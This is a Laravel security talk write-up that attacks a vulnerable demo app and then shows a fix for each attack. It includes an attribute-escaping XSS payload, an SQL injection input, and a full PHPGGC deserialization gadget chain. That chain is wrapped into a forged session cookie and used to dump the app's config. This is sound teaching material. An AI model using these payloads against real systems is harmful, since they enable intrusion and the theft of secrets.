Think Like a Hacker (for Laravel)

Laravel comes with many secure options enabled by default, and a bunch of helpful features that you can use to secure the rest. This helpfulness is a double-edged sword though, and you can easily begin to overlook the security implications of using specific features and end up writing insecure code without even realising it. There are plenty of guides and checklists online, such as the OWASP Top Ten, to teach you about web app security, however since a lot of people learn better by doing, we’re going to hack into a Laravel app to learn how to secure it!

We will target a vulnerable Laravel application, attacking common weaknesses and misconfigurations to compromise the app. After every attack, we will make the required changes to fix the vulnerability, and then attempt the attack again, hopefully unsuccessfully this time! The goal is to think like a hacker, learning what types of vulnerabilities exist and how they are exploited, so we can write secure code and protect our apps from attack.

Presented at

Talk Notes

“Think Like a Hacker”

Wordfence Motto

The idea behind “Think Like a Hacker” is that if you can identify potential vulnerabilities and how they can be used to compromise your site, it puts you in a much better position to defend your site.

This mentality is important because it is very hard, if not impossible, to block an attack you don’t understand and don’t see coming. It is also quite easy to be distracted by superficial changes and security through obscurity (i.e. hiding something and hoping no one finds it), and ignore the bigger risks to your site.

My intention through demonstrating these vulnerabilities is to teach the mindset of a hacker by showing the different types of attacks that are possible and how they can be used.

Email Enumeration

Many websites are vulnerable to Email Enumeration attacks through the password reset form, and the default authentication scaffolding in Laravel is no exception.

Consider the error you see when you attempt to reset the password for an email that isn’t in the database:

Email address does not exist in the database.

As opposed to the success message when the email address is in the database:

Email address exists in the database

The existence of an account may not sound like a problem for many sites or users. However, there is still a risk that arises from this unintented disclosure: credential stuffing.

A Credential Stuffing list is a list of known working usernames/emails and passwords from breached websites. These combinations are known to be valid, and if you can match your credential list to known emails/usernames, you may discover the password for the account is the same too. It happens all the time with sites like Netflix and Spotify. These services haven’t been hacked, but many user’s accounts are compromised because they reused passwords across sites.

What to do:

  • Use a randomly generated unique password for every site you access. You can use a service like 1Password to manage your passwords.
  • Use a package like pwned-validator to prevent users from using known passwords. This will prevent a lot of password reuse.
  • Enable Multi-Factor Authentication, so even though the user password may be compromised, the MFA protection will block the login attempt.

Password Brute Force

Laravel includes rate limiting and brute force protection on the login form, as part of it’s default authenticating scaffolding. It is worth nothing however that this is locked to the email and requesting IP address. A determined attacker could easily rotate IP addresses to bypass the block and continue to attack your site.

Unfortunately there are limited protections against this sort of attack without affecting the legitimate user. You can rate limit by email alone, however a legitimate user could be caught up in the block.

There are some steps you can take to limit the risk, which come back to proper password hygiene.

What to do:

Same steps as Email Enumeration above.

Stored Cross-Site Scripting (XSS) in Component Attributes

Security: Laravel 7.1.2 Released – Mar, 13 2020
Today we released Laravel 7.1.2 to address a possible XSS related attack vector in the Laravel 7.x Blade Component tag attributes when users are allowed to dictate the value of attributes. All Laravel 7.x users are encouraged to upgrade as soon as possible.

We would like to thank community member Anders Fajerson for bringing this to our attention.

In Laravel 7.x prior to 7.1.2, a Cross-Site Scripting (XSS) vulnerability exists in the Component Attributes logic. This vulnerability allows an attacker to inject custom content into the page, opening up the possibility for a Cross-Site Scripting attack against the site.

Consider the following code within a Blade Component:

<abbr {{ $attributes }}>{{ $slot }}</abbr>

The {{ $attributes }} automatically expands to the extra attributes provided on the Component definition.

Such as in this component tag:

<x-truncate :title="$user->name">{{ $user->name }}</x-truncate>

The component effectively renders as this:

<abbr title="{!! $user->name !!}">{{ truncate($user->name) }}</abbr>

In which case, all the attacker needs to do is include a "> and they can inject whatever HTML/Javascript they like to the page. The component code was doing a basic str_replace('"', '\"', $value), however this was trivial to bypass with this payload:

Evil Hacker\"><script>alert('Boom! Pwned!);</script>

The fix implemented in Laravel 7.1.2 properly escapes all values before rendering the component, preventing the escape from the attribute.

While this may be considered an obscure vulnerability, it presents a critical risk to the user if exploited. XSS, running Javascript in a victim’s browser, presents an end-game scenario where the attacker can gain full control over the victim’s account and even the site, if the victim has the right privileges.

What to do:

  • Keep an eye on Laravel security notifications and update Laravel to the latest version as soon as possible.

Insecure Direct Object Reference (IDOR) without Proper Authorization

It is incredibly easy to forget to authorise requests to specific resources. Consider the scenario where only the user who wrote a message is allowed to view the message. They can view each of their messages at the path, with the id of each message in the URL:

https://valorin.dev/messages/<id>

Even if you only present the user URLs for their messages, without proper authorization they can just change the id in the URL.

For example, a user with access to https://valorin.dev/messages/10 could change the URL to https://valorin.dev/messages/5 and view someone else’s messages.

The fix for this is to use Policies, which are built into Laravel. With these you can define policy rules and add middleware to block access.

In the following git diff, you can see a basic policy for allowing a User to view a Message:

diff --git a/app/Policies/MessagePolicy.php b/app/Policies/MessagePolicy.php
new file mode 100644
index 0000000..ac7171d
--- /dev/null
+++ b/app/Policies/MessagePolicy.php
@@ -0,0 +1,16 @@
+<?php
+namespace App\Policies;
+
+use App\Message;
+use App\User;
+use Illuminate\Auth\Access\HandlesAuthorization;
+
+class MessagePolicy
+{
+    use HandlesAuthorization;
+
+    public function view(User $user, Message $message)
+    {
+        return $user->id === $message->user_id;
+    }
+}
diff --git a/routes/web.php b/routes/web.php
index 2d2249b..d4ae93f 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -48,7 +48,7 @@ Route::post('/messages', function () {

 Route::get('/messages/{message}', function (Message $message) {
     return view('message', compact('message'));
-});
+})->middleware('can:view,message');

 Route::get('/admin', function () {
     abort_if(Auth::id() !== 1, 404);

What to do:

Information Leakage via Debug Mode

Sending unexpected parameters and data to a site can cause it to throw an error. In the following screenshot, the GET parameter key[]= was sent instead of key=<string>. This caused the strcmp() comparison function to throw an error, and the debug page was displayed.

Laravel Debug page on unexpected input

This is the result of leaving APP_DEBUG=true set in the .env file. This is a huge security risk to any site, as the debug page leaks a significant amount of sensitive information about the site. In the screenshot alone it shows the entire database record for the Message model – including the sharing key!

What to do:

  • ALWAYS set APP_DEBUG=false in the .env file.
  • ALWAYS set APP_DEBUG=false in the .env file.
  • ALWAYS set APP_DEBUG=false in the .env file.

Seriously, that’s all you need to do.

Remote Code Execution through Session Cookie Deserialization

Security Release: Laravel 6.18.29, 7.22.2 – Jul, 27 2020
Today we have released a security patch for Laravel versions 6.x and 7.x. These releases have been released as Laravel 6.18.29 and 7.22.2. All Laravel users are encouraged to upgrade to these versions as soon as possible.

Upgrading to these versions will invalidate any existing cookies issued by your application; therefore, your application’s users will need to re-authenticate.

Laravel Cookie Security Releases – Jul, 27 2020

Application’s using the “cookie” session driver were the primary applications affected by this vulnerability.

[…]

Regarding the vulnerability, applications using the “cookie” session driver that were also exposing an encryption oracle via their application were vulnerable to remote code execution. An encryption oracle is a mechanism where arbitrary user input is encrypted and the encrypted string is later displayed or exposed to the user. This combination of scenarios lets the user generate valid Laravel signed encryption strings for any plain-text string, thus allowing them to craft Laravel session payloads when an application is using the “cookie” driver.

This vulnerability affects a very specific scenario and configuration. You need to have the cookie session enabled, and you also need to allow users to encrypt information using the site APP_KEY. If both of these were present, an attacker could construct a specific payload, forge a fake session payload, encrypt it using the APP_KEY, and then override the cookie in the browser to deliver the payload.

If you’re unsure what a deserialization attack is, these are great posts which explain the process:

Let’s look at how we attack this specific vulnerability:

First, we can use PHPGGC to generate a payload for the deserialization attack. When the payload is deserialized, we want it to run dd(config()); and dump the entire config array to the screen.

$ ./phpggc -a Laravel/RCE6  "dd(config());"
O:29:"Illuminate\Support\MessageBag":2:{S:11:"\00*\00messages";a:0:{}S:9:"\00*\00format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:28:"<?php dd(config()); exit; ?>";}}}}

Next we need to wrap it into the JSON cookie payload:

"{"data":"O:29:\"Illuminate\\Support\\MessageBag\":2:{S:11:\"\\00*\\00messages\";a:0:{}S:9:\"\\00*\\00format\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":1:{S:16:\"\\00*\\00queueResolver\";a:2:{i:0;O:25:\"Mockery\\Loader\\EvalLoader\":0:{}i:1;S:4:\"load\";}}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";O:32:\"Mockery\\Generator\\MockDefinition\":2:{S:9:\"\\00*\\00config\";O:35:\"Mockery\\Generator\\MockConfiguration\":1:{S:7:\"\\00*\\00name\";S:7:\"abcdefg\";}S:7:\"\\00*\\00code\";S:28:\"\u003C?php dd(config()); exit; ?\u003E\";}}}}","expires":2596496920}"

Now we jump over to our encryption oracle, to encrypt our JSON string with the APP_KEY.

Forged cookie payload encrypted using APP_KEY.

Once we have the encrypted cookie payload, we need to modify the cookie value in the browser using the browser tools.

Modifying the cookie value in the browser

Now we can submit another request to the server and we should see the site config:

Site config dumped to the page.

What to do:

  • Keep an eye on Laravel security notifications and update Laravel to the latest version as soon as possible.
  • Never let a user encrypt their own content using your APP_KEY. Always generate a secondary key, to avoid potential vulnerabilities that rely on encryption.

SQL Injection from Non-Parameterized Query

Consider the following code:

Route::get('/verify', function () {
    if ($search = request('search')) {
        $message = Message::whereRaw("encrypted LIKE '{$search}%'")->first();
    }

    return view('verify', ['message' => $message ?? null]);
});

Do you see the vulnerability?

The search parameter is passed straight into the query builder, which allows direct access to an SQL Injection attack. All the attacker needs to do is pass ' OR 1=1 in and the code will return the first message.

The fix is trivial:

$message = Message::where("encrypted", "LIKE", "{$search}%")->first();

Writing the query like this passes the search value in as a parameter to a prepared statement. The MySQL engine will ensure the value within search cannot modify the query itself – regardless of what it contains. This completely prevents SQL Injection and fixes the vulnerability.

What to do:

  • Use the query builder to safely pass in parameters and avoid SQL injection attacks.